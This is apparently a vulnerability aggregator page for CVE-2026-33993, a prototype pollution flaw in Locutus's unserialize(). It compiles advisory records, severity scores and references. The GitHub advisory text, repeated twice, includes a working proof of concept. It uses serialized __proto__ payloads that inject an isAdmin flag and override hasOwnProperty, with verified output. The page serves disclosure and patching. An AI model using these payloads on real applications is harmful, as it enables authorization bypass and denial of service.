CVE-2026-33993
Locutus has Prototype Pollution via __proto__ Key Injection in unserialize()
Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.25, the unserialize() function in locutus/php/var/unserialize assigns deserialized keys to plain objects via bracket notation without filtering the __proto__ key. When a PHP serialized payload contains __proto__ as an array or object key, JavaScript's __proto__ setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override. This is distinct from the previously reported prototype pollution in parse_str (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — unserialize is a different function with no mitigation applied. Version 3.0.25 patches the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.9
Locutus has Prototype Pollution via __proto__ Key Injection in unserialize()
Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.25, the unserialize() function in locutus/php/var/unserialize assigns deserialized keys to plain objects via bracket notation without filtering the __proto__ key. When a PHP serialized payload contains __proto__ as an array or object key, JavaScript's __proto__ setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override. This is distinct from the previously reported prototype pollution in parse_str (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — unserialize is a different function with no mitigation applied. Version 3.0.25 patches the issue.
- Record
CVE-2026-33993- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-1321
- Updated
- 2026-11-02
EUVDEUVD-2026-16888
6.9
Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.25, the unserialize() function in locutus/php/var/unserialize assigns deserialized keys to plain objects via bracket notation without filtering the __proto__ key. When a PHP serialized payload contains __proto__ as an array or object key, JavaScript's __proto__ setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override. This is distinct from the previously reported prototype pollution in parse_str (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — unserialize is a different function with no mitigation applied. Version 3.0.25 patches the issue.
- Record
EUVD-2026-16888- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-4mph-v827-f877
6.9
Locutus has Prototype Pollution via __proto__ Key Injection in unserialize()
Summary
The unserialize() function in locutus/php/var/unserialize assigns deserialized keys to plain objects via bracket notation without filtering the __proto__ key. When a PHP serialized payload contains __proto__ as an array or object key, JavaScript's __proto__ setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override.
This is distinct from the previously reported prototype pollution in parse_str (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — unserialize is a different function with no mitigation applied.
Details
The vulnerable code is in two functions within src/php/var/unserialize.ts:
expectArrayItems() at line 358:
// src/php/var/unserialize.ts:329-366
function expectArrayItems(
str: string,
expectedItems = 0,
cache: CacheFn,
): [UnserializedObject | UnserializedValue[], number] {
// ...
const items: UnserializedObject = {}
// ...
for (let i = 0; i < expectedItems; i++) {
key = expectKeyOrIndex(str)
// ...
item = expectType(str, cache)
// ...
items[String(key[0])] = item[0] // line 358 — no __proto__ filtering
}
// ...
}
expectObject() at line 278:
// src/php/var/unserialize.ts:246-287
function expectObject(str: string, cache: CacheFn): ParsedResult {
// ...
const obj: UnserializedObject = {}
// ...
for (let i = 0; i < propCount; i++) {
// ...
obj[String(prop[0])] = value[0] // line 278 — no __proto__ filtering
}
// ...
}
Both functions create a plain object ({}) and assign user-controlled keys via bracket notation. When the key is __proto__, JavaScript's __proto__ setter replaces the object's prototype rather than creating a regular property. This means:
- Properties in the attacker-supplied prototype become accessible via dot notation and the
inoperator - These properties are invisible to
Object.keys(),JSON.stringify(), andhasOwnProperty() - They propagate to copies made via
for...inloops, becoming real own properties - The attacker can override
hasOwnProperty,toString,valueOfwith non-function values
Notably, parse_str in the same package has a regex guard against __proto__ (line 74 of src/php/strings/parse_str.ts), but no equivalent protection was applied to unserialize.
This is not global Object.prototype pollution — only the deserialized object's prototype is replaced. Other objects in the application are not affected.
PoC
Setup:
npm install [email protected]
Step 1 — Property injection via array deserialization:
import { unserialize } from 'locutus/php/var/unserialize';
const payload = 'a:2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}';
const config = unserialize(payload);
console.log(config.isAdmin); // true (injected via prototype)
console.log(Object.keys(config)); // ['name'] — isAdmin is hidden
console.log('isAdmin' in config); // true — bypasses 'in' checks
console.log(config.hasOwnProperty('isAdmin')); // false — invisible to hasOwnProperty
Verified output:
true
[ 'name' ]
true
false
Step 2 — for...in propagation makes injected properties real:
const copy = {};
for (const k in config) copy[k] = config[k];
console.log(copy.isAdmin); // true (now an own property)
console.log(copy.hasOwnProperty('isAdmin')); // true
Verified output:
true
true
Step 3 — Method override denial of service:
const payload2 = 'a:1:{s:9:"__proto__";a:1:{s:14:"hasOwnProperty";b:1;}}';
const obj = unserialize(payload2);
obj.hasOwnProperty('x'); // TypeError: obj.hasOwnProperty is not a function
Verified output:
TypeError: obj.hasOwnProperty is not a function
**Step 4 — Object type (stdClass) is also…
- Record
GHSA-4mph-v827-f877- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-1321
- Updated
- 2026-11-02
NVD
6.9
Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.25, the unserialize() function in locutus/php/var/unserialize assigns deserialized keys to plain objects via bracket notation without filtering the __proto__ key. When a PHP serialized payload contains __proto__ as an array or object key, JavaScript's __proto__ setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override. This is distinct from the previously reported prototype pollution in parse_str (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — unserialize is a different function with no mitigation applied. Version 3.0.25 patches the issue.
- Record
CVE-2026-33993- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-1321
- Updated
- 2026-11-02
OSV
6.9
Locutus has Prototype Pollution via __proto__ Key Injection in unserialize()
Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.25, the unserialize() function in locutus/php/var/unserialize assigns deserialized keys to plain objects via bracket notation without filtering the __proto__ key. When a PHP serialized payload contains __proto__ as an array or object key, JavaScript's __proto__ setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override. This is distinct from the previously reported prototype pollution in parse_str (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — unserialize is a different function with no mitigation applied. Version 3.0.25 patches the issue.
- Record
CVE-2026-33993- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-1321
- Updated
- 2026-11-02
OSVGHSA-4mph-v827-f877
6.9
Locutus has Prototype Pollution via __proto__ Key Injection in unserialize()
Summary
The unserialize() function in locutus/php/var/unserialize assigns deserialized keys to plain objects via bracket notation without filtering the __proto__ key. When a PHP serialized payload contains __proto__ as an array or object key, JavaScript's __proto__ setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override.
This is distinct from the previously reported prototype pollution in parse_str (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — unserialize is a different function with no mitigation applied.
Details
The vulnerable code is in two functions within src/php/var/unserialize.ts:
expectArrayItems() at line 358:
// src/php/var/unserialize.ts:329-366
function expectArrayItems(
str: string,
expectedItems = 0,
cache: CacheFn,
): [UnserializedObject | UnserializedValue[], number] {
// ...
const items: UnserializedObject = {}
// ...
for (let i = 0; i < expectedItems; i++) {
key = expectKeyOrIndex(str)
// ...
item = expectType(str, cache)
// ...
items[String(key[0])] = item[0] // line 358 — no __proto__ filtering
}
// ...
}
expectObject() at line 278:
// src/php/var/unserialize.ts:246-287
function expectObject(str: string, cache: CacheFn): ParsedResult {
// ...
const obj: UnserializedObject = {}
// ...
for (let i = 0; i < propCount; i++) {
// ...
obj[String(prop[0])] = value[0] // line 278 — no __proto__ filtering
}
// ...
}
Both functions create a plain object ({}) and assign user-controlled keys via bracket notation. When the key is __proto__, JavaScript's __proto__ setter replaces the object's prototype rather than creating a regular property. This means:
- Properties in the attacker-supplied prototype become accessible via dot notation and the
inoperator - These properties are invisible to
Object.keys(),JSON.stringify(), andhasOwnProperty() - They propagate to copies made via
for...inloops, becoming real own properties - The attacker can override
hasOwnProperty,toString,valueOfwith non-function values
Notably, parse_str in the same package has a regex guard against __proto__ (line 74 of src/php/strings/parse_str.ts), but no equivalent protection was applied to unserialize.
This is not global Object.prototype pollution — only the deserialized object's prototype is replaced. Other objects in the application are not affected.
PoC
Setup:
npm install [email protected]
Step 1 — Property injection via array deserialization:
import { unserialize } from 'locutus/php/var/unserialize';
const payload = 'a:2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}';
const config = unserialize(payload);
console.log(config.isAdmin); // true (injected via prototype)
console.log(Object.keys(config)); // ['name'] — isAdmin is hidden
console.log('isAdmin' in config); // true — bypasses 'in' checks
console.log(config.hasOwnProperty('isAdmin')); // false — invisible to hasOwnProperty
Verified output:
true
[ 'name' ]
true
false
Step 2 — for...in propagation makes injected properties real:
const copy = {};
for (const k in config) copy[k] = config[k];
console.log(copy.isAdmin); // true (now an own property)
console.log(copy.hasOwnProperty('isAdmin')); // true
Verified output:
true
true
Step 3 — Method override denial of service:
const payload2 = 'a:1:{s:9:"__proto__";a:1:{s:14:"hasOwnProperty";b:1;}}';
const obj = unserialize(payload2);
obj.hasOwnProperty('x'); // TypeError: obj.hasOwnProperty is not a function
Verified output:
TypeError: obj.hasOwnProperty is not a function
**Step 4 — Object type (stdClass) is also…
- Record
GHSA-4mph-v827-f877- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-1321
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
locutusnpm |
before 3.0.25 | 3.0.25 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-33993 is a medium vulnerability (CVSS 6.9) in Locutus, published March 27, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.59%, the 48th percentile. Fixed in locutus 3.0.25.
References
github.com/locutusjs/locutus/security/advisories/GHSA-4mph-v827-f877
github.com/locutusjs/locutus/pull/597
github.com/locutusjs/locutus/commit/345a6211e1e6f939f96a7090bfeff642c9fcf9e4
github.com/locutusjs/locutus/releases/tag/v3.0.25
nvd.nist.gov/vuln/detail/CVE-2026-33993
github.com/advisories/GHSA-4mph-v827-f877
github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33993.json
github.com/locutusjs/locutus
Left out here: the rest of 2 source descriptions. The JSON record has them.